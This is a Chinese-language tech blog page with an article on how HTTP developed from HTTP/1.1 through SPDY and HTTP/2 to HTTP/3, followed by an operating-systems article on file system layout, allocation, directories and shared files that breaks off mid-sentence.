HTTP/1.1在同一连接上使用持久连接,但由于串行发送请求和响应,如果一个请求或响应的处理时间较长,那么后续的请求和响应将被阻塞,为此它引入了管道化技术(pipelining)试图解决该问题,但它并没有完全解决这个问题,因为即使在客户端请求选择某一管道并被异步发送出去,但在服务器如果该请求前面存在缓慢或繁重的请求,那么该请求就会被阻塞。这种情况也被称为线头阻塞无法处理较多的并发请求:  由于头阻塞问题和单个连接的限制,HTTP/1.1在处理较多的并发请求时表现较差。浏览器限制了同时与同一域名建立的连接数,从而限制了并发请求的数量。未能被充分利用的TCP:  HTTP 1.1很难榨干TCP协议所能提供的所有性能。HTTP客户端和浏览器必须要另辟蹊径的去找到新的解决方案来降低页面载入时间。明文传输:  HTTP/1.1默认是明文传输,数据在网络上传输时不加密,可能被窃听或篡改。这会导致安全隐患,尤其是对于敏感信息的传输。头部冗余:  HTTP/1.1的请求和响应头部会携带一些冗余的信息,导致了较大的头部开销,特别是对于小的资源请求。没有对头字段进行压缩:  HTTP/1.1没有对头字段进行压缩,尽管HTTP响应的主体可以使用Gzip等压缩算法,但头字段仍然是明文传输,可能在一些情况下浪费带宽。请求-响应模式:  HTTP/1.1使用请求-响应模式,每个请求需要等待响应后才能继续。这种模式对于实时性要求较高的应用场景,如实时通信和流媒体,效率较低。缺乏推送功能:  HTTP/1.1缺乏服务器主动向客户端推送资源的机制。客户端只能通过不断发送请求来获取资源,这导致了一定的延迟和额外的开销。超过 25 年的逐步扩展​从HTTP/1.1协议发布至今,HTTP/1.1协议已稳定使用超过25年,目前大部分网站仍是基于HTTP/1.1来运行的。这期间HTTP/1.1也做了多次扩展与修改,并发展不同的应用模式,以弥补之前的缺陷以及满足日益进步的需求。HTTP 用于安全传输​在1994年,网景通信公司(Netscape Communications Corporation)为了解决当时互联网上数据传输的安全问题,发布了第一个安全套接字层(Secure Sockets Layer,SSL)协议。SSL协议使用了加密技术,对HTTP的数据进行加密传输,保护数据的安全性。在SSL协议的基础上,网景通信公司将安全传输的功能整合到HTTP协议中,形成了HTTPS协议。HTTPS使用了SSL/TLS(Transport Layer Security)协议来加密HTTP传输过程中的数据,使得网站和用户之间的通信不再以明文传输,变得安全。HTTP 用于复杂应用​在 2000 年,一种新的使用 HTTP 的模式被设计出来:具象状态传输(representational state transfer) (或者说 REST)。由 API 发起的操作不再通过新的 HTTP 方法传达,而只能通过使用基本的 HTTP / 1.1 方法访问特定的 URI。这允许任何 Web 应用程序通过提供 API 以允许查看和修改其数据,而无需更新浏览器或服务器。所有需要的内容都被嵌入到由网站通过标准 HTTP/1.1 提供的文件中。REST 模型的缺点在于每个网站都定义了自己的非标准 RESTful API,并对其进行了全面的控制。RESTful API 在 2010 年变得非常流行。自 2005 年以来,可用于 Web 页面的 API 大大增加,其中几个 API 为特定目的扩展了 HTTP 协议,大部分是新的特定 HTTP 头:Server-sent events,服务器可以偶尔推送消息到浏览器。WebSocket,一个新协议,可以通过升级现有 HTTP 协议来建立。SPDY——Google的尝试(2009)​这些年来,网页愈渐变得的复杂,甚至演变成了独有的应用,可见媒体的播放量,增进交互的脚本大小也增加了许多。 如果仔细观察当前的一些网站所需要下载的资源的话,会发现一个非常明显的趋势—— 近年来加载网站首页需要的下载的数据量在逐渐增加,平均每个页面为了完成显示与渲染所需要下载的资源数已经超过了100个。HTTP/1.1 链接需要请求以正确的顺序发送,理论上可以用一些并行的链接(尤其是 5 到 8 个),带来的成本和复杂性堪忧。比如,HTTP 管线化(pipelining)就成为了 Web 开发的负担。HTTP 1.1很难榨干TCP协议所能提供的所有性能。HTTP客户端和浏览器必须要另辟蹊径的去找到新的解决方案来降低页面载入时间。与此同时,人们也尝试去用新的协议来替代TCP,但结果证明这也非常困难。无奈之下,我们只能尝试同时改进TCP协议本身和基于TCP的上层协议。在 2010 年早期,谷歌通过实践了一个实验性的 SPDY 协议,想要以此来解决当前HTTP存在的问题。SPDY 的功能包括多路复用、压缩、优先级、安全性等。本节不打算详细介绍 SPDY,因为我们在下一节中深入了解 HTTP/2 的本质时,您就会明白了,HTTP/2 主要是受到 SPDY 的启发。在2015年,Google决定将SPDY协议与HTTP合并,并基于SPDY的特点推出了HTTP/2。通过将SPDY融入HTTP/2,Google希望避免存在两个竞争的标准,统一标准有利于更好地推动Web协议的发展。同时,Google宣布SPDY协议被废弃,不再继续作为一个独立的协议存在,HTTP/2成为了SPDY的继任者,并继续在未来发展和推广。HTTP/2——更优异的性能(2015)​由于HTTP/1.1发展年限久远,用户数量庞大,因此对于HTTP/1.1的升级需要制定非常严格的边界与观念,这也给小组成员的创新带来了一些许限制。升级的边界与观念​必须保持早期HTTP的标准范式:  由于HTTP/1.1使用年限久远,用户数量庞大,使用该协议的网站太多了,如果改动过大且费力,这肯定会阻碍HTTP/2.0发展。因此HTTP/2.0必须保留所有现有的接口、内容、URI格式和结构, 不需要站点和应用做出改变,拥有一个最新的服务器和新点的浏览器即可升级HTTP/2.0。提供HTTP1到http2服务器的代理:  HTTP1的服务器和客户端仍然会长期存在,所以我们必须提供HTTP/1到http2服务器的代理,并且这种代理能够将http2的功能一对一的映射到HTTP 1.1的客户端。不再使用小版本号:  服务器和客户端都必须确定自己是否完整兼容http2或者彻底不兼容。如果将来该协议需要被扩充或者变更,那么新的协议将会是http3,而不是http 2.x。降低协议对延迟的敏感修复HTTP/1.1中pipelining和head of line blocking的问题防止主机需求更高的连接数量在确认好升级边界与观念后,HTTP/2协议规范(RFC 7540)于2015年5月发表,HTTP/2解决了HTTP/1中存在的一大堆缺点,其中相当一部分对于开发者来说非常麻烦,在HTTP/2出现前,开发者要用许多种变通方法来解决。在HTTP/2.0中HTTP从一个ASCII协议变为一个二进制协议,其主要特性是多路复用(multiplexing),它可以通过同一个TCP连接发送多个逻辑数据流。复用使得很多事情变得更快更好,它带来更好的拥塞控制、更充分的带宽利用、更长久的TCP连接————这些都比以前更好了,链路能更容易实现全速传输,标头压缩技术也减少了带宽的用量。采用HTTP/2后,浏览器对每个主机一般只需要 一个 TCP连接,而不是以前常见的 六个 连接。事实上,HTTP/2使用的连接聚合(connection coalescing)和“去分片”(desharding)技术还可以进一步缩减连接数。HTTP/2还解决了HTTP的队头拥塞(head of line blocking)问题,客户端必须等待一个请求完成才能发送下一个请求的日子过去了。以下为HTTP/2 的请求示例GET /zh-CN/docs/Glossary/Simple_header HTTP/2 Host: developer.mozilla.org User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://developer.mozilla.org/zh-CN/docs/Glossary/Simple_header以下为HTTP/2 的响应示例200 OK Connection: Keep-Alive Content-Encoding: gzip Content-Type: text/html; charset=utf-8 Date: Wed, 20 Jul 2016 10:55:30 GMT Etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a" Keep-Alive: timeout=5, max=1000 Last-Modified: Tue, 19 Jul 2016 00:59:33 GMT Server: Apache Transfer-Encoding: chunked Vary: Cookie, Accept-Encoding大家可以惊奇的发现,除了版本号,HTTP/2.0与HTTP/1.1在内容与格式上几乎没有任何差别!这得益于早期标准制定者对HTTP/1.1升级边界与观念的思考,这让标准制定者几乎保留了HTTP/1.1内容与形式上的所有标准,从修改HTTP底层技术来解决HTTP/1.1中的缺点。也正因如此,HTTP/2.0不需 Web 开发者做什么,不需要站点和应用做出改变,随着陈旧的浏览器和服务器的更新,站点自然就会升级到HTTP/2.0而不会带来任何问题,并且还能在数据传输上节省了可观的成本和支出,这使得该协议在互联网和万维网上得到广泛的实现和部署,HTTP/2.0取得了巨大的成功。特性​HTTP/2.0是一个二进制协议:  在HTTP/2.0中,HTTP不再是ASCII协议,而是二进制协议。作为一个二进制协议,它更容易解析,但与 HTTP/1.x 不同的是,它不再被人眼读取。HTTP/2 的主要构建块是帧和流,每个 HTTP/2 请求和响应都被赋予一个唯一的流 ID,并且它被分成帧。帧不过是二进制数据,帧的集合称为流。每个帧都有一个流 ID,用于标识它所属的流,并且每个帧都有一个公共标头(Type, Length, Flags, Stream Identifie)和帧有效负载,规范中一共定义了10种不同的帧,其中最基础的两种分别对应于HTTP 1.1的DATA和HEADERS。此外,流 ID 是唯一的,客户端发起的任何请求流ID都使用奇数,而来自服务器的响应流ID则都是偶数。多路复用:  由于 HTTP/2 现在是二进制协议,并且正如我上面所说,它使用帧和流来进行请求和响应,因此一旦打开 TCP 连接,所有流都会通过同一连接异步发送,而无需打开任何其他连接。反过来,服务器以相同的异步方式响应,即响应没有顺序,客户端使用分配的流 ID 来识别特定数据包所属的流。流的多路复用解决了 HTTP/1.x 中存在的线头阻塞问题,即客户端不必等待正在花费时间的请求,其他请求仍将得到处理。流优先级(Stream Prioritization):  HTTP/2允许对请求/响应进行优先级排序,每个流都包含一个优先级(也就是“权重”),它被用来告诉对客户端哪个流更重要。当资源有限的时候,服务器会根据优先级来选择应该先发送哪些流。借助于借助于PRIORITY帧,客户端同样可以告知服务器当前的流依赖于其他哪个流,该功能让客户端能建立一个优先级“树”,所有“子流”会依赖于“父流”的传输完成情况。优先级和依赖关系可以在传输过程中被动态的改变。这样当用户滚动一个全是图片的页面的时候,浏览器就能够指定哪个图片拥有更高的优先级。或者是在你切换标签页的时候,浏览器可以提升新切换到页面所包含流的优先级。优先级的引入确保重要资源的优先加载,提高了页面加载速度和用户体验。头部压缩:  HTTP是一种无状态的协议。简而言之,这意味着每个请求必须要携带服务器需要的所有细节,而不是让服务器保存住之前请求的元数据,这导致许多请求和响应头部会携带一些冗余的一摸一样的信息,增大了标头大小,致使带宽使用和延迟增加。为了克服这个问题,HTTP/2使用HPACK算法对头部信息进行压缩,减少了头部大小,从而降低了传输的数据量,提高了效率。服务器推送:  HTTP/2的服务器推送功能允许服务器在客户端请求前主动推送资源。服务器可以通过发送一个名为PUSH_PROMISE的特殊帧,通知客户端即将推送的资源。这个PUSH_PROMISE帧与导致推送发生的流相关联,并包含服务器将要推送的资源的流ID。通过服务器推送,服务器可以在客户端请求之前主动将客户端可能需要的资源发送到客户端缓存中,从而避免了客户端额外的请求,减少了延迟。这种特性在某些情况下可以提高页面加载速度和性能,尤其是对于一些预加载资源或常用资源,可以减少客户端请求的往返次数,优化了Web应用的性能和用户体验。中断连接不再断开连接: HTTP/1.1协议有一个缺点:当一个含有确切值的Content-Length的HTTP消息被送出之后,你就很难中断它了。当然,通常你可以断开整个TCP链接(但也不总是可以这样),但这样导致的代价就是需要通过三次握手来重新建立一个新的TCP连接。在http2里面,我们可以通过发送RST_STREAM帧来实现这种需求,它是一种特殊的帧类型,用于中止某些流,即客户端可以发送此帧让服务器知道我不需要此流了。客户端可以使用 RST_STREAM 并停止接收特定流,同时连接不会被关闭其他流仍会正常运行。可靠性和安全性:  HTTP/2支持数据的流量控制和优先级设置,保障了数据的可靠传输。此外,HTTP/2要求使用TLS协议进行加密通信,提高了数据的安全性。兼容性:  HTTP/2通过与HTTP/1.1的兼容性保证,使得现有的Web应用可以逐渐迁移到HTTP/2,而不需要进行大规模的更改。HTTP/3——基于 QUIC 的 HTTP(2022)​HTTP 的下一个主要版本,HTTP/3 有这与 HTTP 早期版本的相同语义,但在传输层部分使用 QUIC (en-US) 而不是 TCP。到2022年10月,26% 的网站正在使用 HTTP/3。QUIC 旨在为 HTTP 连接设计更低的延迟。类似于 HTTP/2,它是一个多路复用协议,但是 HTTP/2 通过单个 TCP 连接运行,所以在 TCP 层处理的数据包丢失检测和重传可以阻止所有流。QUIC 通过 UDP 运行多个流,并为每个流独立实现数据包丢失检测和重传,因此如果发生错误,只有该数据包中包含数据的流才会被阻止。RFC 9114 定义的 HTTP/3 被大多数主流浏览器所支持,包括 Chromium(及其他的变体,例如 Chrome 和 Edge)和 Firefox。(更多HTTP3的内容会随着发展逐步更新)
0
0
0
浏览量2020
爱喝奶茶的波波

HTTP完全注解系列

一份全面、集中、准确的HTTP完全注释
0
0
0
浏览量2314
爱喝奶茶的波波

文件管理-文件系统的实现

三、文件系统的实现3.1文件系统布局文件系统存储在磁盘中。大部分的磁盘能够划分出一到多个分区,叫做磁盘分区(disk partitioning) 或者是磁盘分片(disk slicing)。每个分区都有独立的文件系统,每块分区的文件系统可以不同。磁盘的 0 号分区称为 主引导记录(Master Boot Record, MBR),用来引导(boot) 计算机。在 MBR 的结尾是分区表(partition table)。每个分区表给出每个分区由开始到结束的地址。系统管理员使用一个称为分区编辑器的程序来创建,调整大小,删除和操作分区。这种方式的一个缺点是很难适当调整分区的大小,导致一个分区具有很多可用空间,而另一个分区几乎完全被分配。MBR 可以用在 DOS 、Microsoft Windows 和 Linux 操作系统中。从 2010 年代中期开始,大多数新计算机都改用 GUID 分区表(GPT)分区方案。下面是一个用 GParted 进行分区的磁盘,表中的分区都被认为是 活动的(active)。当计算机开始引 boot 时,BIOS 读入并执行 MBR。引导块MBR 做的第一件事就是确定活动分区,读入它的第一个块,称为引导块(boot block) 并执行。引导块中的程序将加载分区中的操作系统。为了一致性,每个分区都会从引导块开始,即使引导块不包含操作系统。引导块占据文件系统的前 4096 个字节,从磁盘上的字节偏移量 0 开始。引导块可用于启动操作系统。在计算机中,引导就是启动计算机的过程,它可以通过硬件(例如按下电源按钮)或者软件命令的方式来启动。开机后,电脑的 CPU 还不能执行指令,因为此时没有软件在主存中,所以一些软件必须先被加载到内存中,然后才能让 CPU 开始执行。也就是计算机开机后,首先会进行软件的装载过程。重启电脑的过程称为重新引导(rebooting),从休眠或睡眠状态返回计算机的过程不涉及启动。除了从引导块开始之外,磁盘分区的布局是随着文件系统的不同而变化的。通常文件系统会包含一些属性,如下超级块紧跟在引导块后面的是 超级块(Superblock),超级块 的大小为 4096 字节,从磁盘上的字节偏移 4096 开始。超级块包含文件系统的所有关键参数文件系统的大小文件系统中的数据块数指示文件系统状态的标志分配组大小在计算机启动或者文件系统首次使用时,超级块会被读入内存。空闲空间块接着是文件系统中空闲块的信息,例如,可以用位图或者指针列表的形式给出。BitMap 位图或者 Bit vector 位向量位图或位向量是一系列位或位的集合,其中每个位对应一个磁盘块,该位可以采用两个值:0和1,0表示已分配该块,而1表示一个空闲块。下图中的磁盘上给定的磁盘块实例(分配了绿色块)可以用16位的位图表示为:0000111000000110。使用链表进行管理在这种方法中,空闲磁盘块链接在一起,即一个空闲块包含指向下一个空闲块的指针。第一个磁盘块的块号存储在磁盘上的单独位置,也缓存在内存中。碎片这里不得不提一个叫做碎片(fragment)的概念,也称为片段。一般零散的单个数据通常称为片段。 磁盘块可以进一步分为固定大小的分配单元,片段只是在驱动器上彼此不相邻的文件片段。如果你不理解这个概念就给你举个例子。比如你用 Windows 电脑创建了一个文件,你会发现这个文件可以存储在任何地方,比如存在桌面上,存在磁盘中的文件夹中或者其他地方。你可以打开文件,编辑文件,删除文件等等。你可能以为这些都在一个地方发生,但是实际上并不是,你的硬盘驱动器可能会将文件中的一部分存储在一个区域内,另一部分存储在另外一个区域,在你打开文件时,硬盘驱动器会迅速的将文件的所有部分汇总在一起,以便其他计算机系统可以使用它。inode然后在后面是一个 inode(index node),也称作索引节点。它是一个数组的结构,每个文件有一个 inode,inode 非常重要,它说明了文件的方方面面。每个索引节点都存储对象数据的属性和磁盘块位置有一种简单的方法可以找到它们 ls -lai 命令。让我们看一下根文件系统:inode 节点主要包括了以下信息模式/权限(保护)所有者 ID组 ID文件大小文件的硬链接数上次访问时间最后修改时间inode 上次修改时间文件分为两部分,索引节点和块。一旦创建后,每种类型的块数是固定的。你不能增加分区上 inode 的数量,也不能增加磁盘块的数量。紧跟在 inode 后面的是根目录,它存放的是文件系统目录树的根部。最后,磁盘的其他部分存放了其他所有的目录和文件。3.2文件的实现最重要的问题是记录各个文件分别用到了哪些磁盘块。不同的系统采用了不同的方法。下面我们会探讨一下这些方式。分配背后的主要思想是有效利用文件空间和快速访问文件 ,主要有三种分配方案连续分配链表分配索引分配连续分配最简单的分配方案是把每个文件作为一连串连续数据块存储在磁盘上。因此,在具有 1KB 块的磁盘上,将为 50 KB 文件分配 50 个连续块。上面展示了 40 个连续的内存块。从最左侧的 0 块开始。初始状态下,还没有装载文件,因此磁盘是空的。接着,从磁盘开始处(块 0 )处开始写入占用 4 块长度的内存 A 。然后是一个占用 6 块长度的内存 B,会直接在 A 的末尾开始写。注意每个文件都会在新的文件块开始写,所以如果文件 A 只占用了 3 又 1/2 个块,那么最后一个块的部分内存会被浪费。在上面这幅图中,总共展示了 7 个文件,每个文件都会从上个文件的末尾块开始写新的文件块。连续的磁盘空间分配有两个优点。第一,连续文件存储实现起来比较简单,只需要记住两个数字就可以:一个是第一个块的文件地址和文件的块数量。给定第一个块的编号,可以通过简单的加法找到任何其他块的编号。第二点是读取性能比较强,可以通过一次操作从文件中读取整个文件。只需要一次寻找第一个块。后面就不再需要寻道时间和旋转延迟,所以数据会以全带宽进入磁盘。因此,连续的空间分配具有实现简单、高性能的特点。不幸的是,连续空间分配也有很明显的不足。随着时间的推移,磁盘会变得很零碎。下图解释了这种现象这里有两个文件 D 和 F 被删除了。当删除一个文件时,此文件所占用的块也随之释放,就会在磁盘空间中留下一些空闲块。磁盘并不会在这个位置挤压掉空闲块,因为这会复制空闲块之后的所有文件,可能会有上百万的块,这个量级就太大了。刚开始的时候,这个碎片不是问题,因为每个新文件都会在之前文件的结尾处进行写入。然而,磁盘最终会被填满,因此要么压缩磁盘、要么重新使用空闲块的空间。压缩磁盘的开销太大,因此不可行;后者会维护一个空闲列表,这个是可行的。但是这种情况又存在一个问题,为空闲块匹配合适大小的文件,需要知道该文件的最终大小。想象一下这种设计的结果会是怎样的。用户启动 word 进程创建文档。应用程序首先会询问最终创建的文档会有多大。这个问题必须回答,否则应用程序就不会继续执行。如果空闲块的大小要比文件的大小小,程序就会终止。因为所使用的磁盘空间已经满了。那么现实生活中,有没有使用连续分配内存的介质出现呢?CD-ROM 就广泛的使用了连续分配方式。CD-ROM(Compact Disc Read-Only Memory)即只读光盘,也称作只读存储器。是一种在电脑上使用的光碟。这种光碟只能写入数据一次,信息将永久保存在光碟上,使用时通过光碟驱动器读出信息。然而 DVD 的情况会更加复杂一些。原则上,一个 90分钟 的电影能够被编码成一个独立的、大约 4.5 GB 的文件。但是文件系统所使用的 UDF(Universal Disk Format) 格式,使用一个 30 位的数来代表文件长度,从而把文件大小限制在 1 GB。所以,DVD 电影一般存储在 3、4个连续的 1 GB 空间内。这些构成单个电影中的文件块称为扩展区(extends)。就像我们反复提到的,历史总是惊人的相似,许多年前,连续分配由于其简单和高性能被实际使用在磁盘文件系统中。后来由于用户不希望在创建文件时指定文件的大小,于是放弃了这种想法。但是随着 CD-ROM 、DVD、蓝光光盘等光学介质的出现,连续分配又流行起来。从而得出结论,技术永远没有过时性,现在看似很老的技术,在未来某个阶段可能又会流行起来。链表分配第二种存储文件的方式是为每个文件构造磁盘块链表,每个文件都是磁盘块的链接列表,就像下面所示每个块的第一个字作为指向下一块的指针,块的其他部分存放数据。如果上面这张图你看的不是很清楚的话,可以看看整个的链表分配方案与连续分配方案不同,这一方法可以充分利用每个磁盘块。除了最后一个磁盘块外,不会因为磁盘碎片而浪费存储空间。同样,在目录项中,只要存储了第一个文件块,那么其他文件块也能够被找到。另一方面,在链表的分配方案中,尽管顺序读取非常方便,但是随机访问却很困难(这也是数组和链表数据结构的一大区别)。还有一个问题是,由于指针会占用一些字节,每个磁盘块实际存储数据的字节数并不再是 2 的整数次幂。虽然这个问题并不会很严重,但是这种方式降低了程序运行效率。许多程序都是以长度为 2 的整数次幂来读写磁盘,由于每个块的前几个字节被指针所使用,所以要读出一个完成的块大小信息,就需要当前块的信息和下一块的信息拼凑而成,因此就引发了查找和拼接的开销。使用内存表进行链表分配由于连续分配和链表分配都有其不可忽视的缺点。所以提出了使用内存中的表来解决分配问题。取出每个磁盘块的指针字,把它们放在内存的一个表中,就可以解决上述链表的两个不足之处。下面是一个例子上图表示了链表形成的磁盘块的内容。这两个图中都有两个文件,文件 A 依次使用了磁盘块地址 4、7、 2、 10、 12,文件 B 使用了6、3、11 和 14。也就是说,文件 A 从地址 4 处开始,顺着链表走就能找到文件 A 的全部磁盘块。同样,从第 6 块开始,顺着链走到最后,也能够找到文件 B 的全部磁盘块。你会发现,这两个链表都以不属于有效磁盘编号的特殊标记(-1)结束。内存中的这种表格称为 文件分配表(File Application Table,FAT)。使用这种组织方式,整个块都可以存放数据。进而,随机访问也容易很多。虽然仍要顺着链在内存中查找给定的偏移量,但是整个链都存放在内存中,所以不需要任何磁盘引用。与前面的方法相同,不管文件有多大,在目录项中只需记录一个整数(起始块号),按照它就可以找到文件的全部块。这种方式存在缺点,那就是必须要把整个链表放在内存中。对于 1TB 的磁盘和 1KB 的大小的块,那么这张表需要有 10 亿项。。。每一项对应于这 10 亿个磁盘块中的一块。每项至少 3 个字节,为了提高查找速度,有时需要 4 个字节。根据系统对空间或时间的优化方案,这张表要占用 3GB 或 2.4GB 的内存。FAT 的管理方式不能较好地扩展并应用于大型磁盘中。而这正是最初 MS-DOS 文件比较实用,并仍被各个 Windows 版本所安全支持。inode最后一个记录各个文件分别包含哪些磁盘块的方法是给每个文件赋予一个称为 inode(索引节点) 的数据结构,每个文件都与一个 inode 进行关联,inode 由整数进行标识。下面是一个简单例子的描述。给出 inode 的长度,就能够找到文件中的所有块。相对于在内存中使用表的方式而言,这种机制具有很大的优势。即只有在文件打开时,其 inode 才会在内存中。如果每个 inode 需要 n 个字节,最多 k 个文件同时打开,那么 inode 占有总共打开的文件是 kn 字节。仅需预留这么多空间。这个数组要比我们上面描述的 FAT(文件分配表) 占用的空间小的多。原因是用于保存所有磁盘块的链接列表的表的大小与磁盘本身成正比。如果磁盘有 n 个块,那么这个表也需要 n 项。随着磁盘空间的变大,那么该表也随之线性增长。相反,inode 需要节点中的数组,其大小和可能需要打开的最大文件个数成正比。它与磁盘是 100GB、4000GB 还是 10000GB 无关。inode 的一个问题是如果每个节点都会有固定大小的磁盘地址,那么文件增长到所能允许的最大容量外会发生什么?一个解决方案是最后一个磁盘地址不指向数据块,而是指向一个包含额外磁盘块地址的地址,如上图所示。一个更高级的解决方案是:有两个或者更多包含磁盘地址的块,或者指向其他存放地址的磁盘块的磁盘块。Windows 的 NTFS 文件系统采用了相似的方法,所不同的仅仅是大的 inode 也可以表示小的文件。NTFS 的全称是 New Technology File System,是微软公司开发的专用系统文件,NTFS 取代 FAT(文件分配表) 和 HPFS(高性能文件系统) ,并在此基础上进一步改进。例如增强对元数据的支持,使用更高级的数据结构以提升性能、可靠性和磁盘空间利用率等。3.3目录的实现文件只有打开后才能够被读取。在文件打开后,操作系统会使用用户提供的路径名来定位磁盘中的目录。目录项提供了查找文件磁盘块所需要的信息。根据系统的不同,提供的信息也不同,可能提供的信息是整个文件的磁盘地址,或者是第一个块的数量(两个链表方案)或 inode的数量。不过不管用那种情况,目录系统的主要功能就是 将文件的 ASCII 码的名称映射到定位数据所需的信息上。与此关系密切的问题是属性应该存放在哪里。每个文件系统包含不同的文件属性,例如文件的所有者和创建时间,需要存储的位置。一种显而易见的方法是直接把文件属性存放在目录中。有一些系统恰好是这么做的,如下。在这种简单的设计中,目录有一个固定大小的目录项列表,每个文件对应一项,其中包含一个固定长度的文件名,文件属性的结构体以及用以说明磁盘块位置的一个或多个磁盘地址。对于采用 inode 的系统,会把 inode 存储在属性中而不是目录项中。在这种情况下,目录项会更短:仅仅只有文件名称和 inode 数量。这种方式如下所示到目前为止,我们已经假设文件具有较短的、固定长度的名字。在 MS-DOS 中,具有 1 - 8 个字符的基本名称和 1 - 3 个字符的可拓展名称。在 UNIX 版本 7 中,文件有 1 - 14 个字符,包括任何拓展。然而,几乎所有的现代操作系统都支持可变长度的扩展名。这是如何实现的呢?最简单的方式是给予文件名一个长度限制,比如 255 个字符,然后使用上图中的设计,并为每个文件名保留 255 个字符空间。这种处理很简单,但是浪费了大量的目录空间,因为只有很少的文件会有那么长的文件名称。所以,需要一种其他的结构来处理。一种可选择的方式是放弃所有目录项大小相同的想法。在这种方法中,每个目录项都包含一个固定部分,这个固定部分通常以目录项的长度开始,后面是固定格式的数据,通常包括所有者、创建时间、保护信息和其他属性。这个固定长度的头的后面是一个任意长度的实际文件名,如下图所示上图是 SPARC 机器使用正序放置。处理机中的一串字符存放的顺序有正序(big-endian) 和逆序(little-endian) 之分。正序存放的就是高字节在前低字节在后,而逆序存放的就是低字节在前高字节在后。这个例子中,有三个文件,分别是 project-budget、personnel 和 foo。每个文件名以一个特殊字符(通常是 0 )结束,用矩形中的叉进行表示。为了使每个目录项从字的边界开始,每个文件名被填充成整数个字,如下图所示这个方法的缺点是当文件被移除后,就会留下一块固定长度的空间,而新添加进来的文件大小不一定和空闲空间大小一致。这个问题与我们上面探讨的连续磁盘文件的问题是一样的,由于整个目录在内存中,所以只有对目录进行紧凑拼接操作才可节省空间。另一个问题是,一个目录项可能会分布在多个页上,在读取文件名时可能发生缺页中断。处理可变长度文件名字的另外一种方法是,使目录项自身具有固定长度,而将文件名放在目录末尾的堆栈中。如上图所示的这种方式。这种方法的优点是当目录项被移除后,下一个文件将能够正常匹配移除文件的空间。当然,必须要对堆进行管理,因为在处理文件名的时候也会发生缺页异常。到目前为止的所有设计中,在需要查找文件名时,所有的方案都是线性的从头到尾对目录进行搜索。对于特别长的目录,线性搜索的效率很低。提高文件检索效率的一种方式是在每个目录上使用哈希表(hash table),也叫做散列表。我们假设表的大小为 n,在输入文件名时,文件名被散列在 0 和 n - 1 之间,例如,它被 n 除,并取余数。或者对构成文件名字的字求和或类似某种方法。无论采用哪种方式,在添加一个文件时都要对与散列值相对 应的散列表进行检查。如果没有使用过,就会将一个指向目录项的指针指向这里。文件目录项紧跟着哈希表后面。如果已经使用过,就会构造一个链表(这种构造方式是不是和 HashMap 使用的数据结构一样?),链表的表头指针存放在表项中,并通过哈希值将所有的表项相连。查找文件的过程和添加类似,首先对文件名进行哈希处理,在哈希表中查找是否有这个哈希值,如果有的话,就检查这条链上所有的哈希项,查看文件名是否存在。如果哈希不在链上,那么文件就不在目录中。使用哈希表的优势是查找非常迅速,缺点是管理起来非常复杂。只有在系统中会有成千上万个目录项存在时,才会考虑使用散列表作为解决方案。另外一种在大量目录中加快查找指令目录的方法是使用缓存,缓存查找的结果。在开始查找之前,会首先检查文件名是否在缓存中。如果在缓存中,那么文件就能立刻定位。当然,只有在较少的文件下进行多次查找,缓存才会发挥最大功效。3.4共享文件当多个用户在同一个项目中工作时,他们通常需要共享文件。如果这个共享文件同时出现在多个用户目录下,那么他们协同工作起来就很方便。下面的这张图我们在上面提到过,但是有一个更改的地方,就是 C 的一个文件也出现在了 B 的目录下。如果按照如上图的这种组织方式而言,那么 B 的目录与该共享文件的联系称为 链接(link)。那么文件系统现在就是一个 有向无环图(Directed Acyclic Graph, 简称 DAG),而不是一棵树了。在图论中,如果一个有向图从任意顶点出发无法经过若干条边回到该点,则这个图是一个有向无环图,我们不会在此着重探讨关于图论的东西,大家可以自行 google。将文件系统组织成为有向无环图会使得维护复杂化,但也是必须要付出的代价。共享文件很方便,但这也会带来一些问题。如果目录中包含磁盘地址,则当链接文件时,必须把 C 目录中的磁盘地址复制到 B 目录中。如果 B 或者 C 随后又向文件中添加内容,则仅在执行追加的用户的目录中显示新写入的数据块。这种变更将会对其他用户不可见,从而破坏了共享的目的。有两种方案可以解决这种问题。第一种解决方案,磁盘块不列入目录中,而是会把磁盘块放在与文件本身相关联的小型数据结构中。目录将指向这个小型数据结构。这是 UNIX 中使用的方式(小型数据结构就是 inode)。在第二种解决方案中,通过让系统建立一个类型为 LINK 的新文件,并把该文件放在 B 的目录下,使得 B 与 C 建立链接。新的文件中只包含了它所链接的文件的路径名。当 B 想要读取文件时,操作系统会检查 B 的目录下存在一个类型为 LINK 的文件,进而找到该链接的文件和路径名,然后再去读文件,这种方式称为 符号链接(symbolic linking)。上面的每一种方法都有各自的缺点,在第一种方式中,B 链接到共享文件时,inode 记录文件的所有者为 C。建立一个链接并不改变所有关系,如下图所示。第一开始的情况如图 a 所示,此时 C 的目录的所有者是 C ,当目录 B 链接到共享文件时,并不会改变 C 的所有者关系,只是把计数 + 1,所以此时 系统知道目前有多少个目录指向这个文件。然后 C 尝试删除这个文件,这个时候有个问题,如果 C 把文件移除并清除了 inode 的话,那么 B 会有一个目录项指向无效的节点。如果 inode 以后分配给另一个文件,则 B 的链接指向一个错误的文件。系统通过 inode 可知文件仍在被引用,但是没有办法找到该文件的全部目录项以删除它们。指向目录的指针不能存储在 inode 中,原因是有可能有无数个这样的目录。所以我们能做的就是删除 C 的目录项,但是将 inode 保留下来,并将计数设置为 1 ,如上图 c 所示。c 表示的是只有 B 有指向该文件的目录项,而该文件的前者是 C 。如果系统进行记账操作的话,那么 C 将继续为该文件付账直到 B 决定删除它,如果是这样的话,只有到计数变为 0 的时刻,才会删除该文件。对于符号链接,以上问题不会发生,只有真正的文件所有者才有一个指向 inode 的指针。链接到该文件上的用户只有路径名,没有指向 inode 的指针。当文件所有者删除文件时,该文件被销毁。以后若试图通过符号链接访问该文件将会失败,因为系统不能找到该文件。删除符号链接不会影响该文件。符号链接的问题是需要额外的开销。必须读取包含路径的文件,然后要一个部分接一个部分地扫描路径,直到找到 inode 。这些操作也许需要很多次额外的磁盘访问。此外,每个符号链接都需要额外的 inode ,以及额外的一个磁盘块用于存储路径,虽然如果路径名很短,作为一种优化,系统可以将它存储在 inode 